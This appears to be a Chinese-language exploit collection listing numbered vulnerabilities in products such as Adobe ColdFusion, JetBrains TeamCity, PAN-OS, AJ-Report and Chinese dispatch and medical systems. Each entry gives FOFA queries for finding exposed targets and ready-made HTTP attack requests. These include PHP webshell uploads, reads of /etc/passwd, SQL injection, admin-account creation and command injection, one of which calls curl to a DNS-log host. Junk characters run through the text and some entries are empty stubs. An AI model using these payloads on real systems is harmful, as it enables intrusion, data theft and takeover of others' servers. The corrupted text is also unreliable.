9 U6 z6 k, |- c3 T( K! |" Z/ c9 z>
/ s3 a9 \; b5 `$ O<test>&t;</test>
, W8 q/ m# m& ~7 F$ J* a+ n- a------WebKitFormBoundaryJGgV5l5ta05yAIe0--
, w& b& _) U4 \, ?6 d) V


128. Adobe ColdFusion 反序列化
CVE-2023-38203
* B- R4 I& x. @  e% Z% `! c) DAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD
$ u6 t6 ^0 d* [
) w1 ?. j" e8 G129. Adobe ColdFusion 任意文件读取
/ ]9 S6 v- a' L/ j! K9 n; TCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
9 \8 J" F0 Z/ E; a) A9 z; s3 |; {+ s: TGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
& E* g7 p+ A- X6 QHost: x.x.x.x
9 A& c  T8 G0 W5 m4 e6 P( @  P) RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
+ F, k* m7 _! q3 f9 ]Accept-Encoding: gzip, deflate
5 g9 `3 t# G- i& ]Connection: close


. @+ z8 `: [# z/ M( }% r第二步，读取/etc/passwd文件
& R' `; p- `1 ~6 T3 \GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
9 j# A4 l5 m; f* v8 X: yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
0 ?" u7 ^/ [/ F1 S+ }9 l! VAccept: */*
  @6 e5 E9 r# U: T' iAccept-Encoding: gzip, deflate
Connection: close
+ H) h5 J; M) q( ]$ juuid: 85f60018-a654-4410-a783-f81cbd5000b9
# y  d4 k. `* P2 X

130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
" b" N# y' v, Q: i* `* zPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
0 g$ e/ [7 W2 w% G$ _X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
: h6 d  j# e9 B& }Connection: close
- _' g$ }2 f7 H* |# G
  c! p% T* D! N  _' D3 w------WebKitFormBoundary3OCVBiwBVsNuB2kR
2 m% P5 ]$ V) ~* k; zContent-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
* T& p% ]$ J7 y------WebKitFormBoundary3OCVBiwBVsNuB2kR--
2 X, f3 z8 q6 _

8 u6 M8 O* g7 @5 Y7 M131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
& Y" T8 l! U$ b后台地址：http://localhost:8080/tmall/admin
* _! C" b! s2 }: Ihttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
4 N& \- I# c( ~% Z" X7 S
6 \; Z4 G1 k4 j1 I8 V132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
8 Z9 U- M2 C# s( ~( k) SFOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
. B$ e) b2 q+ @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
* O7 J1 O: b% c  Y% }1 lAccept-Encoding: gzip, deflate

; d1 s2 d! P8 u+ x{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


4 X; D! S* j# u/ v0 DCVE-2024-27199
: ~$ h3 x8 I/ b! a9 S) @9 U7 v/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
5 a! y" Q0 d1 l/update/../admin/diagnostic.jsp
* h- k! N  S- X
6 `+ q! K% r4 {8 O! @8 ]
+ F# m6 d$ y! w6 A- S( l1 V& T4 wCVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
: B) M. b- J# @0 g  [- aHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

- ~* ~! u. S# S6 Y+ ^8 z4 ]8 G7 Q------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

2 [. Q& h+ o* U! Y4 Z<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--



134. 网康NS-ASG应用安全网关index.php sql注入
) o8 q1 a4 s% N+ g% I3 }CVE-2024-2330
9 z. c, ?2 q6 SNetentsec NS-ASG Application Security Gateway 6.3版本
. t0 @5 ^* ^0 u6 _& kFOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
$ _* i% N- z7 C( _2 Y4 ?3 ]; l# kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: W2 t, s, \& F( L* s# @2 \Accept-Encoding: gzip, deflate
& d9 I- Y4 L% X9 R: j2 M) r4 H8 O) KSec-Fetch-Dest: empty
8 e: Q" S$ u* {" n1 ~% b# `- MSec-Fetch-Mode: cors
+ G. v4 W; R6 [Sec-Fetch-Site: same-origin
1 o8 c2 A0 E" v; D& }- RTe: trailers
Connection: close
, ^" p1 ?& l- h' R' kContent-Type: application/x-www-form-urlencoded
Content-Length: 263
9 R& T+ v( z( X8 E# A
) s# a' A5 V! L- Q. Cjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
3 ]. a# j9 i4 r3 s0 V( x6 {
, ?; B) P9 x! ?$ g! V& W
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
9 \" K. G. W+ D. E, c4 OCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
! ?. M9 B8 D7 v2 cGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
5 J6 T! f+ q3 u( h) r1 y; OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' T" a4 z" H6 LConnection: close

% x8 A3 p% y; C$ I% @" L4 L
  A1 @' A1 i7 P& [$ H; d  }136. NextChat cors SSRF
' P( }. ?+ F. v8 ECVE-2023-49785
FOFA：title="NextChat"
/ h: \/ p) T# z5 E2 [GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
4 Y, a/ Q. {) u' T. wUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
  y6 Z' j7 J/ qConnection: close
Accept: */*
, l4 Z( i5 Q$ p, v- EAccept-Language: en
Accept-Encoding: gzip


137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
) R) F1 R4 H. A* i$ p( L0 R& QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
# t! _; l1 q, A( ^$ f# [( T2 @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
3 \( i- j! q! n, E! QConnection: close
( {8 m; ?" N* Z% d& l+ ICookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1


" E$ i& C- t3 V( b, h3 s' d138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
0 k+ M  X- |( m0 w& x( E3 ZFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
0 Z; [: M3 E9 c' w4 U! jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
" h  F5 I% c# Y# w% XConnection: close
* T  h9 S* ^4 Z; YUpgrade-Insecure-Requests: 1
1 n% \1 X4 r+ M9 k  M0 O4 g

7 `! D! Y/ W/ [+ z139. 福建科立讯通信指挥调度平台editemedia.php sql注入
8 e5 M$ q5 i$ I* l1 |6 cCVE-2024-2622
0 Z: [" ], G0 y& \FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
& g/ s6 D" X( K0 i" oHost: x.x.x.x
3 t! l1 B; J$ z. m0 gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
" y& @  }. b, a* [( ?+ O; OConnection: close
! m. l) `1 |% m9 _1 \  T& aCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
- S6 s/ x5 E9 f' {6 ~" l9 lUpgrade-Insecure-Requests: 1
5 v' b. G  h! v$ R  s. Q

140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
; ]) |0 @2 u/ p; AFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
& V( G4 i7 u, h3 Y3 n( ?' u. rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
  I7 K) J2 W% ^2 l. aConnection: close
- {! Z/ ~# P% Y' s' F  v* ]  s5 @Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1


0 a3 W# H" y: d# h2 ]141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
" w% k+ _5 m; V8 [% b! o9 fFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
  D7 M& y; u+ _" rHost: your-ip
$ o4 X" t; y8 VUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
# B- L1 U7 x" C0 F" s+ yContent-Type: application/x-www-form-urlencoded
/ f! b/ j% w0 M; K( f4 V

7 \! P# Z) D+ o( mdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
# S* C8 X- }9 a! Iadmin/admin
" q3 I8 n/ Z& O. h# P: a143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
5 {: P' E3 i% HPAYLOAD

7 ?' W, o7 m2 v' P; ?144. D-Link nas_sharing.cgi 命令注入
( J# ~8 N- _) iFOFA：app="D_Link-DNS-ShareCenter"
, I1 [! E: M1 c. `' Dsystem参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
; j. ^8 P" W) g$ }: z4 j3 NAccept-Language: en
; [% `0 b1 U6 Z8 m' ~% M6 Q6 u# JAccept-Encoding: gzip
6 B; S, {7 y) |  g2 s. u6 ]2 |1 Q  S
& v4 Y* R2 O6 ?/ F8 C7 V
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
7 @! i1 M# j: ~) TCVE-2024-3400
# E! Y3 X/ m, k8 Q; l0 MFOFA：icon_hash="-631559155"
; g% g& Z' T6 q. f8 y4 [GET /global-protect/login.esp HTTP/1.1
- e' q/ u' q8 q, J9 ^Host: 192.168.30.112:1005
2 R; ?5 @# u2 R% E$ LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
: ^: x& z' o3 A4 W9 D! {! FConnection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip

* g+ v! p8 W' e  j# ?
0 \% w+ {7 q6 |146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
2 q6 x" a4 p7 N- l: a0 S( W8 u! pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
( a: Y% B$ f( Z7 ]) `9 JAccept-Encoding: gzip, deflate
Connection: close


- |) @7 |4 X1 j$ B- G147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
+ _8 w5 L) p" m0 c- VCVE-2024-32399
1 j: n5 N3 j4 r2 `0 KFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
+ V( O# B" [' X/ K" RCache-Control: max-age=0
- B- F) [# \- V9 y0 F* _; gConnection: close

+ h' g/ o9 d. O. M8 W
148. CrushFTP 认证绕过模板注入
# z4 z6 K' ~! h/ H0 r! zCVE-2024-4040
FOFA：body="CrushFTP"
0 P0 k/ C3 n( b  R, R1 y& jPAYLOAD
5 r& {$ G9 o! i4 c- O
149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

3 j, U( w" K5 t7 k  s' L2 z, R% TPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
5 k; F6 N9 t5 }9 b1 Z. \) IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
# X5 O/ g+ J* PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ I& L3 Z' U! ?+ |' ]% H( G; U# rAccept-Encoding: gzip, deflate, br
1 O7 U& x4 B- R  K( AAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
2 R& Z& W8 O1 y4 H1 T& |, |Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

, R6 F3 O6 Y' Y* ?% o150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
& C9 y1 @  F$ A) q- `( JHost: x.x.x.x
* h  e+ Z4 b( i0 t2 K. \7 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
" k$ U& r4 w8 J# B4 Z* J5 K+ D- Z& aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# o5 f6 J( T5 @8 M0 F- R' b& Z3 HAccept-Encoding: gzip, deflate, br
* S- i0 I; \+ q/ {Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339
. }, T) \! G" ^- v2 J: S
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
# e1 {" L% Q2 B6 A  gGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
5 B8 E9 A4 u% X- i8 A$ \$ s- bHost: x.x.x.x
  i/ I+ g$ \+ |! u9 TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
$ k7 @% Y0 ?/ u# pAccept-Encoding: gzip

4 Q! G6 h0 R3 x1 u  U) N6 J' D
152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
2 q3 m1 o$ m) R2 X5 Q3 \) OFOFA：body="LoadMaster"
, X5 b0 B. a/ k' H# z8 F0 A( }. ]JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
, j3 K2 o6 [! ]( ^! w, vGET /access/set?param=enableapi&value=1 HTTP/1.1
0 p2 D/ V9 v1 f& |5 T# u: ^( b8 lHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
* {0 c$ A8 d6 n3 tAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
6 z5 a% o1 y( d* M1 i" n
6 I( k, E6 A( p- c* k+ p
153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config

8 h1 p& Z+ x8 u
第二步，将/etc/passwd的内容写入到一个临时文件
2 U; s8 m- ~+ ?: U+ J: w  |POST /component_server HTTP/1.1
3 N9 v0 H* n/ |# HHost: x.x.x.x
. U) l- F) f: v' m/ y# Q' p, ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
2 f! d% b8 |+ y/ d  d5 j. c2 R' oConnection: close
Content-Length: 115
" H$ p( Q) j; ]2 W, XContent-Type: application/json
Accept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


' l$ W- Q' [# a4 Z第三步访问
: t  g0 W, o5 o0 E& Shttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
5 o- d+ _; K! @' \5 n% u! t
$ n" i0 W% r8 l! A0 G
4 k6 h$ s3 h; A8 Q# g154. 天维尔消防救援作战调度平台 SQL注入
3 V+ Y" r7 ~/ T/ P8 rCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
3 J' {" c" y/ m$ X, J7 V3 uPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
, p1 R- i& B  @) O3 ?" NHost: x.x.x.x
5 v# e4 {( ?! G8 G7 MContent-Length: 106
Cache-Control: max-age=0
# F; S# \8 p# D5 w( X' sUpgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
* }) H, k, U% o3 r! ^9 ~8 o, HContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
+ n- [* g5 \* p1 n6 |3 c
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
6 Z- r& u+ c% [+ P' w' t2 _

9 J# P* V( o6 G% Y* O& n155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
( r+ a7 Q: A8 ]1 |' B7 mPOST /include/file.php HTTP/1.1
Host: x.x.x.x
: v/ W1 N# n% tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
5 H, M1 P' U- }8 kAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
5 H' L+ c" s' w3 e8 }X-Requested-With: XMLHttpRequest

; V6 @$ G7 J1 w3 X-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
, q6 L- A9 C( [1 c" QContent-Type: image/png

2 O& D- y  I0 G! [$ I. D<?php phpinfo();unlink(__FILE__);?>
3 A5 p" _3 R6 F8 s. |-----------------------------qttl7vemrsold314zg0f--

3 h; `7 a' u4 F+ g$ D0 \
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

/ p' L! Q% w1 e" t; G1 ^& s9 Z156. TBK DVR-4104/DVR-4216 操作系统命令注入
2 `7 b  u. r$ \2 B2 V+ j9 ^8 eCVE-2024-3721
" \: z5 j, T  e1 S6 b3 nFOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
6 D+ L( q, O0 N2 m3 ccurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
4 L6 A# c* \* h" W3 g' ~
  p5 q1 ?6 k2 w, y5 A8 \. Y0 o
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
! ?7 d3 _# r: q4 j& Y2 ZHost: x.x.x.x
# _  w* N7 l7 k( ^1 XUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# w) j/ v. D/ e$ b1 r; e' oConnection: close
Content-Length: 0
! d/ {* f; q1 y1 lCookie: uid=1
Accept-Encoding: gzip


157. 美特CRM upload.jsp 任意文件上传
7 W7 t, v) a2 T, g9 t. ?) p% XCNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
' p9 C4 v& H4 Z6 t7 K2 E* ZPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
8 _/ r5 ~7 Q& ~: k: Z, j( KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 q* s, l" E% B+ w& aAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
& f# D2 |3 O; |0 [: R" c# uConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
) J9 ?9 L9 y* y# R8 \5 P. w
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
6 i. E" Z7 f- \- n, Q1 M. `Content-Type: application/octet-stream
. f: a$ b  D% Z
4 E! H5 I' }" ~/ w9 ]' enyhelxrutzwhrsvsrafb
% w7 @1 `" z! q------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
4 k: g% V- _+ \7 L" R
9 c$ Z: g* C1 u0 C7 F0 }null
------WebKitFormBoundary1imovELzPsfzp5dN
: T$ X! x0 x/ P% a& {- L. m, |  rContent-Disposition: form-data; name="form"

null
------WebKitFormBoundary1imovELzPsfzp5dN
: h4 J( u! k# sContent-Disposition: form-data; name="field"
" P# v- H" G& r: _
2 Y- X( g7 M7 v" c' u/ ~2 @null
, m/ s0 U" c: g5 B------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
5 I: N( O. A7 k0 {. c& t$ ]$ r* n
) [* M$ w2 ^2 {  S  `& _+ bnull
------WebKitFormBoundary1imovELzPsfzp5dN
- e: N" a! k( U- i8 TContent-Disposition: form-data; name="filefolder"
% F; S) W* u) Z6 y. H! X5 r
5 v0 X. b/ A/ g1 snull
! L1 e7 B9 t0 M------WebKitFormBoundary1imovELzPsfzp5dN--
2 P, J- W% y7 w5 y

) W4 t/ P% i( C. N. G! |http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
% }! j/ N; A: [! A  `0 ?/ b% T" V. X
158. Mura-CMS-processAsyncObject存在SQL注入
! c3 u+ E' s5 ^- `; dCVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
5 A' ^& T* m+ Q5 _8 ~Content-Type: application/x-www-form-urlencoded

6 f& N. s" x. i& M+ L# H7 H) mobject=displayregion&contenthistid=x\'&previewid=1
9 `9 k( I& b$ d% T# Y* V- ]

159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
) M+ }3 B: s% f3 O* k4 LFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
, x0 e1 [7 G$ g" c* f* A# DPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
